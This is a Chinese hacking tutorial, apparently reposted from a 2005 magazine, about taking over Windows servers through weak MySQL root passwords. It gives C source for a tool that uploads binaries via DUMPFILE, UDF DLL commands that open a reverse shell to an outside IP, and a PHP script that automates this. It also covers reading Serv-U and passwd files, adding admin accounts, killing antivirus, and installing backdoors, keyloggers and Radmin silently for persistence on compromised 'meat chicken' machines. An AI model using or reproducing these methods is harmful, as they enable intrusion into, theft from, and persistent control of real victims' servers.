从Mysql到系统权限

注:此文已在黑客防线05年7期发表
Mysql数据库是一种应该非常广泛的数据库,其默认开放端口3306,在Linux、Unix系统中主要是Apache+php+Mysql的配制方式,在Microsoft windows系列中主要是php+Mysql的配制方式,本文主要介绍拿到Root口令后在Win2K、WinXP和Windows2003系统中如何来提升为系统管理员,并介绍几种加固肉鸡的方法,大家肯定不希望辛辛苦苦得到的肉鸡不易而飞吧!文章有不当之处请高手多多指教。
近来在实战中经过反复实验总结了自己的一套方法,也得了一些肉鸡,2cpu的4cpu的2G内存的,4G内存的皆有,速度真快啊,好爽啊,有点跑题了,哈哈。现在整理一下思路共享出来与广大黑迷分享(好东西要共同分享吗,哈哈),同时希望管理员把root密码设置的更安全些。以前也玩过Mysql,不过没仔细分析,近来研究主要是因为看了Mix的一篇文章高手们可能一看就会,但是广大菜鸟朋友们可能就有些晕了。接下来根据分同情况,原理加实例给大家一一讲解,不要闲偶罗嗦啊!
 一、命令行下反向连接管理员权限Shell
反向连接Shell要满足两个条件:
第一:可以通过MySQL上传二进制文件,这里就借用一下Mix早编好的一个具有反向连接功能的Mix.dll文件,偷点懒吧,当然你也可以编写别的功能的dll文件。
第二:可以通过注册UDF DLL中自写的Function而执行任意命令。
上传二进制文件的原理如下:
定义二进制数据(十六进制表示)
set @a = concat('',0x4d5a900003000000);//定义量a,变通过函数concat()给它符值
set @a = concat(@a,0x04000000ffff0000b80000000);//继续符值
………………//同上继续符值,直到把要上传的二进文件内容全部符给变量a
create table Mix(data LONGBLOB);//建立数据表Mix,仅一个字段data以存放二进制数据
insert into Mix values("");update Mix set data = @a;// 将二进制数据存放到表中
select data from Mix into DUMPFILE 'C:\\Mix.dll';//把表中内容导出到远程机器c:\Mix.dll中
注:CONCAT(str1,str2,...) 返回来自于参数连结的字符串。如果任何参数是NULL,返回NULL。可以有超过2个的参数。一个数字参数被变换为等价的字符串形式。 在导出文件时如果函有字符‘\’,‘/’,‘”’时在前面要加上字符’\’
虽然上面介绍了方法,但是我们不可能打开十六进制编辑器一个ASCII码一个ASCII码的手工输进去,为此专门利用VC 编了一个小程序方便大家使用,此程序二进制,ASCII文件均可上传,经实验几百K的文件是可以上传上去的,如果文件大了可能会超出变量的赋值范围报错,其实经常用到的后门程序也就几十K,这已足已,如真需要上传大的文件可以成功后利用Ftp上传。以下是程序Mysql_upfile.exe源代码:
#include
#include
#include
unsigned long filelength(char *fl);//把输入的文件长度,由字符串型转换成十进制。
int main(int argc, char *argv[])
{FILE *fp;
char ch;
unsigned int i=1;
if(argc !=4)
{ printf("\n# Mysql upfile written by yongger QQ:15387788 \n");
printf("# Mysql_upfile.exe >yongger.txt\n",argv[0]);
printf("# LocalFile   // 本地要上传的文件名!\n");
printf("# Filelength  // 要上传文件十进制长度!\n");
printf("# RemoteFile  // 输出到远程机器的的文件名!\n");
printf("# >yongger.txt //输出内容重定向到yongger.txt中!\n");
printf("# 1. Mysql_upfile.exe c:\\nc.exe 40062 c:\\\\nc.exe >yongger.txt\n");
printf("# 2. c:>mysql -h ip -uroot -p //登录远程Mysql数据库 \n");
printf("# 3. mysql>\\. yongger.txt  //执行脚本\n");
printf("# 献给几位好友:Lm,wtf,icyfox,llikz,xiaodao,hunshimowang……\n");
return 0; }
if((fp=fopen(argv[1],"rb"))==NULL)//打开本地上传的文件!
{printf("Cannot open file !");
exit(1);}
ch=fgetc(fp);
printf("set @a = concat('',0x");
while (i<=filelength(argv[2]) && i>0)//while语句中为核心代码
{if ( ch>=0 && ch<=15 )
printf("0%x",ch);
else printf("%x",(ch+256)%256);
ch=fgetc(fp);
i++;}
fclose(fp);
printf(");\n");
printf("use mysql;\n");
printf("create table yongger(data LONGBLOB);\n");
printf("insert into yongger values(\"\");\n");
printf("update yongger set data = @a;\n");
printf("select data from yongger into DUMPFILE \'%s\';\n",argv[3]);
printf("drop table yongger;");
return 0;}
unsigned long filelength(char *fl)
{int i,j;
 unsigned long result;
 j=1;
 result=0;
 for(i=strlen(fl);i>=1;i--)
 { result+=(fl[i-1]-48)*j;
  j*=10; }
 return result;}
注:while语句中循环部分为此程序的核心代码,如读文本文件时可以利用EOF来判断是否文件结束,但应用到二制文件时不成,所以利用变量I来控循环长度。因一个字符占8位,如果ASCII在0-15即十六进制的0-A当中时,用编辑器打开前面会多一个’0’, 所以利用语句printf("0%x",ch)输出。在读取二进制文件长度的字符时发现有的ASCII读出来是负数,经分析加上256后与编辑器中看到的ASCII值相同,所以利用语句printf("%x",(ch+256)%256)来输出。如图1所示:

   此程序主要是生成能让mysql执行的上传脚本
mysql_upfile mix.dll 20480 c:\\mix.dll >yongger.txt//mix.dll是mix早编好的具有反向连接功能的dll文件,偷个懒拿来用用,哈哈。可以利用 dir命令或查看文件属性来确定此文件的字节数,c:\\mix.dll为传到远程机器上的位置(为了增加隐蔽性要以传到别的目录下,并起一个类似系统调用的文件名)。不要忘了加’\’噢!最后在加上>yongger.txt我们就所内容定向输出到yongger.txt里面了。
先在自己机器上装一个Mysql(偶装的是4.1.10-nt),通过命令mysql [-h host] [-u username] [-p[password]] [dbname]登录远程Mysql数据库,给大家来一段小插曲,如何得到弱口令的机器吗?装一个hscan1.2在Parameter Setting哪里设置一个大一点的IP范围(扫扫国外的不错噢),在Scan Modules Config 哪里只选择扫描check MYSQL weak accounts ,扫描的用户名和弱口令我们也可以自行修改conf目录下的mysql_user.dic和mysql_pass.dic文件。该休息了,找台肉鸡挂上去跑吧,等天早上起来看看有没有收获。哈哈还算可以吧,有四台机器如下图所示:

从Mysql Version来看,找版本越高的,后面带有nt字样的成功率会更高一些。Mysql –h 202.142.**.* -uroot –p 成功登录远程数据库后,可以利用命令status但看数据状态如下图:

执行命令 \. F:\tools\lm\debug\yongger.txt (注意“\”后有个“点”)出现如下图所示表示我们已经把mix.dll文件成功的传到了远程的c:\mix.dll下。

准备工作都做好了,最关键的部分到了,如何来反向连接。
利用如下语句创建函数:create function Mixconnect rerurns string soname 'c:\\mix.dll';/*注意修改文件地址
执行函数反向连接:select Mixconnect('61.156.*.*','521');/*注意修改反连回来的IP地址和端口号
注:CREATE [AGGREGATE] FUNCTION function_name RETURNS     SONAME shared_library_name
一個用戶可定義函數(UDF)是用一個像MySQL的原生(內置)函數如ABS()和CONCAT()的新函數來擴展MySQL的方法。 AGGREGATE是MySQL 3.23的一個新選項。一個AGGREGATE函數功能就像一個原生MySQL GROUP函數如SUM或COUNT()。 CREATE FUNCTION在mysql.func系統表中保存函數名、類型和共享庫名。你必須對mysql資料庫有insert和delete權限以創建和拋棄函數。 所有活躍的函數在每次伺服器啟動時被重新裝載,除非你使用--skip-grant-tables選項啟動mysqld,在這種情況下,UDF初始化被跳過並且UDF是無法獲得的。(一個活躍函數是一個已經用CREATE FUNCTION裝載並且沒用DROP FUNCTION刪除的函數。)
如下面两图所示:成功创建函数,Mixconnect,以及反向连接成功。如执行create function Mixconnect returns string soname ‘c:\\mix.dll’;语句报错刚表明创建函数失败,以致无法取得SHELL,希望哪位高手能解决此问题。还有一个问题就是执行完语句select Mixconnect('61.156.*.*','521');后,退出后重新连数据库时,会报错,以致无法在连接上。珍对此种情况下文讲介绍另一种方法,有可能能得到系统权限。得到了SHELL后如何加后门,欲知详请,请看下文……


二、webshell下反向连接管理员权限SHELL
1.如果你得到一个webshell, 可以通过查看c:\winnt\my.ini(Win2003在c:\windows\my.ini) 的内容得到root的密码。上传一个phpspy.php上去,进入SQL语句执行功能。执行语句GRANT ALL PRIVILEGES ON *.* TO yongger@'%'IDENTIFIED BY '123456' WITH GRANT OPTION ;填加了一个远程root权限用户:yongger密码:123456。这样就可以利用上面的命令行方法了。

2.也可以利用phpspy.php把mix.dll上传上去, 在执行SQL语句:
create function Mixconnect rerurns string soname 'x:\\mix.dll';
select Mixconnect('61.156.*.*','521');
3。Superhei可修改并执行下superhie的程序来进行反向连接,代码如下:
/************************************* ** Mysql function exp ** By SuperHei **************************************/ //数据库设置 $host='localhost'; $user='root'; $pass=''; //dll路径 $dll_path='c:\\faukmix.dll'; //shell设置 $chost='127.0.0.1'; $cport='5000'; //=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=$link=mysql_connect($host,$user,$pass); if (!$link) { die('Could not connect: ' . mysql_error());} echo "Connected successfully as root ";echo "Create Function Myconnect...."; $query="create function myconnect returns integer soname '".$dll_path."';"; //echo $query; $result = mysql_query($query, $link) or print ("Cannot Create Fun, Sorry! "); echo "Ok!!";echo "Select Function ...."; $query="select myconnect('".$chost."','".$cport."');"; //echo $query; $result = mysql_query($query, $link); echo "Ok!!"; sleep(1);echo "Drop Function ...."; $query="drop function myconnect;"; $result = mysql_query($query, $link); mysql_close($link); echo "Ok!!";?>
三、无法创建函数时,如何取得管理员权限
如果我们可以通过MySQL上传二进制文件,而不能通过注册UDF DLL中自定义Function函数来执行任意命令。

1、启动等待法
我们可以把要执行的程序加到启动里面,比如写一个简单的加账号的批处理文件,内容如下: net user test test /add del test.bat /f /q ,执行命令mysql_upfile.exe test.bat 43 C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\test.bat >c:\test.txt 然后登录远程mysql主机,执行\. C:\test.bat 如下图所示,就把test.bat传到远程机器的所有用户的启动里面了。哈哈,就等远程机器重新启动了。
注:下图成功写入启动的机器是WIN2k SERVER版,但在XP上做实验时遇到输汉字的目录时,输出时是乱码,希望高手指教。此批处理文件在开机执行时会弹出一个命令窗口,执行后文章并未删除。文章给大家介绍一款优秀的反弹木马。


2、Serv-U提权法
很多装有Mysql的机器同进也装有Serv-U,特别是虚拟主机给每一个用户开一个FTP帐户方便用户的更新,可以通过MYSQL读出它的密码档文件ServUDaemon.ini,如果遇到明文的密码,可以通过FTP直接上传SHELL,如果是密文可以查看WEB路径然后通过MYSQL导出SHELL。接下来结合一下具体的例子给大家演示一下:
首先导出密码档文件ServUDaemon.ini。在MYSQL提示符下输入:\. c:\getservupwd.txt
Getservupwd.txt脚本内容如下:
use mysql;
create table yy(data TEXT);
insert into yy values("");
load data infile "c:\\program files\\serv-u\\servudaemon.ini" into table yy;
select data from yy; \T c:\ServUDaemon.ini
drop table yy;
执行完毕后,就可在你的C盘下看ServUDaemon.ini的内容了,如果SERVU未安装在C盘,可以试一下是否在D盘上,经多次实验很多管理员都是默认路径安装的,如果是自定义安装,设置个变态的路径,哈哈,哪就没的玩了。密码档内容如下图所示:

其次,有了密码档,我们想办法来上传WEBSHELL。哇,50多个用户,密码还是明文的来(第一次遇到),上传WEBSHELL。但是我们经常遇到密码是经过加密的,如果你有时间有好的机器不反对爆破,在这里可以通过密码档和到网站的物理路径,细心的朋友一定注意到了,上面密码档的HomeDir 后面的路径里面没有“\”,这主要是因为MYSQL在读取时没有读出来,但是我们可以猜测出来的。很多管理员在给不同的站点建目录的时候是有规律的,经常是以它们的网站名称来建目录的,利用这一点在结合密码档中的USER这个参数值,在对比一下不同几个站点的HomeDir你就不难发现在哪里省略了“\”,有了物理路径,利用前面讲的方法就可以把SHELL上传上去了。
最后,想办法提权限。
1.查看是否装有pcanywhere,如下图所示,这个站的pcanywhere的密码档的路径有点变态,也许是自己思维定式,一般密码档都放在All Users目录下,然后它放在到All User.WINNT目录下了,晕倒!害的偶找了老半天。Pcanywhere远程连接登录,还要WIN2003登录密码,拿Pcanywhere的试了试不对,找到my.ini文件看了看root的口令,拿来试了试也不对,没办法在想别的办法吧!
2.找SA密码,拿pcanywhere和mysql的root口令连MSSQL数据库都没成功,浏览了好几个站的数据库连接文件都没找到SA口令,看来是没的玩了,在想别的办法吧。
3.还是拿Serv-u开刀吧。分别上传一ASP和PHP的SHELL后,均无法执行命令,郁闷啊,有些朋友这在想办法时可能会抽根烟慢慢想,咱不抽烟,抽烟有害身体健康,还是洗个西红柿,边吃想吧,哈哈。黑防上曾有一篇文章,在不能执行命令时利用ASP程序来如何提权,可惜手头没有,问了几个朋友也没有,只好放弃。到是跟朋友借了一个PHP下的SERV-U提权的程序,可惜实验时报错。这时想到了上传一个ASP。NET的SHELL上去试试,传了lake2写的一个SHELL上去,哇能执行命令,如下图所示:


DOS窗口的SHELL用习惯了,在肉鸡上用NC反向连接个SHELL出来,如下图所示:

虽然有了SHELL而且能执行命令,但是现在的权限还是不够。传了一个SU。EXE上去看看是否能提升权限,虽然经常利用它提权成功,可以加一个管理员用户,但是这次失败了,看来是真的没的玩了,真想放弃了。有意栽花花不发,无心插柳柳成阴。在不经意间读SERV-U密码档的时候意然发现了一个具有执行权限的用户,在加上密码是明文,ftp登录执行命令quote site exec “net user username passpwd /add” quote site exec “net localgroup administrators username /add” 如下图所示填加用户成功,可以3389登录了。

3.以上主要是针对windows系统的,对 unix和linux简单说几句,看运行了。
use mysql;
create table yy(data TEXT);
insert into yy values("");
load data infile "\/etc\/passwd" into table yy;
select data from yaiy; \T c:\passwd.txt
drop table yy;
利用以上脚本可以读出passwd的内容,可以看出网站的路径,在结合明小子的域名查询工具 domain.exe,猜测网站上的可写目录,通过图片所在的目录可写。利用前面的方法通过mysql写个phpspy.php上去。看是否能执行命令, 如果能id一下看看如何是root运气,如果不是uname –a 一下查看版本,去找牛人写的expliot程序,行不行就看运行了。
四、如何做到“肉鸡常相伴”
辛苦了好大一阵,好不容易反向连接一个系统权限的SHELL,接下来该如何加后门了。如果在安装后门时不成功可能是有杀毒软件,可以利用net stop 停掉服务,或利用pskill.exe 杀掉相应进程。
1.经典黑客工具MT。强烈建议大家在反向连接SHELL前,先上传一个MT上去,当然你也可以把自己经常用的工具提前上传上去。克隆账号,GUEST账号通常被管理员禁止了。Net user guest passwd 给guest改个密码。Mt .exe –clone Administrator guest 把guest克隆成管理员。 可以利用mt.exe –chkuser 检查是否克隆成功。如果未开3389可以利用mt.exe –setupts 开启。还可以利用mt.exe –netget下载别的后门程序。如果没有提前上传MT,可以试利用tftp.exe –I get IP removefilename localfilename 。
 注:有时MT不能用,可以在别的后门程序开的DOS SHELL中试试。
2. 一款优秀的反向连接后门pcshare 。
想办法申请一个HTTP网络空间,并能通过FTP登录。点“生成客户”按钮配置被控端程序。IP地址和端口填入等待控制端连接的地址和端口。选中“启用自备URL轩发本机IP地址”,在指定转发URL中填入你的HTTPP空间,如图yy.txt 中存放的等待控制端连接的地址和端口,可以通过IP刷新功能随时更新,更好的适应动态变化的用户。宿主进程名可根据自己不同需求选择,选中运行后自删除和键盘监控,点击生成,控制端就配置好了。有了运行后自删除功能,我们可以把它放到启动里面,它运行后即不会弹出窗口,也自动删除。它的键盘记录功能非常有助于进一点渗透。
注:如安装不成功很有可能是被杀毒软件查杀(如瑞星,诺盾),可以利用前面讲的方法先把杀毒软件关掉。


3. Radmin也疯狂
  安装radmin需上传五个文件r_server.exe ,AdmDll.dll,raddrv.dll,regadmin.reg,install.bat
radmin.reg内容如下:
[HKEY_LOCAL_MACHINE\SYSTEM\RAdmin]
[HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0]
[HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server]
[HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\iplist]
[HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters]
"Port"=hex:ed,0c,00,00 //所开的端口
"Timeout"=hex:0a,00,00,00
"EnableLogFile"=hex:00,00,00,00
"LogFilePath"="c:\\logfile.txt"
"FilterIp"=hex:00,00,00,00
"DisableTrayIcon"=hex:01,00,00,00
"AutoAllow"=hex:00,00,00,00
"AskUser"=hex:00,00,00,00
"EnableEventLog"=hex:00,00,00,00
"NTAuthEnabled"=hex:00,00,00,00
"Parameter"=hex:99,b6,39,73,3c,39,98,a4,d3,8d,11,76,48,ef,2e,0f //密码
建一批处理文件install.bat文件内容如下:
regedit /s radmin.reg
R_server.exe /install /silence
net start r_server
del radmin.reg /f /q
del install.bat /f /q
上传完毕后运行一下install.bat后门就安装好了
注:在上传多个文件时,可以先利用winrar压缩,然后在利用命令行工具rar.exe解压。
4. 黑客之门大开方便之门
黑客之门1.2安装方法:
①感染系统文件的安装方式
注意:其中‘DllRegisterServer’是大小写敏感的,以下所有演示过程都是在命令行窗口下进行的。
C:\>rundll32 hkdoordll,DllRegisterServer conime.exe 1 1 其中 hkdoordll是黑客之门服务器端,必须放在system32目录下,可以改名,conime.exe是你要感染的进程默认是services.exe,如果要感染系统文件,在system32目录下的不用带路径,其它的就要带路径,第一个1是安装方式,0表示只感染系统文件,1表示只感染进程,2表示感染系统文件,同时感染进程,默认是2;第2个1是启动方法,0是通过创建svchost启动的服务来启动后门,1是通过感染系统文件来启动后门,默认是1。
C:\>rundll32 hkdoordll,DllRegisterServer 上面是默认安装方式,它会感染services.exe文件,以便在系统重启时启动后门,同时把自己加载到services.exe进程中注意:除了csrss.exe,smss.exe外,其它的系统文件都可以感染要判断有没有安装成功,就要看system.tmp里的信息,它放在%winnt%\temp目录下,方法如下:C:\WINNT\temp>type system.tmp //这个文件的生成会有延时,多type几次系统找不到指定的文件。
②通过svchost启动服务的安装方式
在命令行下运行‘rundll32 hkdoordll,DllRegisterServer 服务名 2 0’就可以了,其中‘服务名’必须合法,如运行‘rundll32 hkdoordll,DllRegisterServer Iprip 2 0’,就创建用svchost.exe来启动的Iprip服务来启动黑客之门,如果你不知道合法的服务名,可以先随便给一个,然后到日志里去看合法的服务名列表。
5. 记录密码法
所谓记录密码法就是登录进它的系统后,可以利用黑客之门或利用mt -findpass查看当前系统用户的密码,很多管理员的密码都是相当变态的噢!下载SERV-U密码档,破解pcanywhere密码,记录MYSQL的ROOT密码,如能发现sa密码当然在好不过,如果没有可以利用命令exec master..sp_addlogin UserName,Password
exec master..sp_addsrvrolemember UserName,sysadmin加一个SA权限的用户。
   以上几种后门的查找与清除也比较简单,在此不在缀述,文章有不当之处请高手指教
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值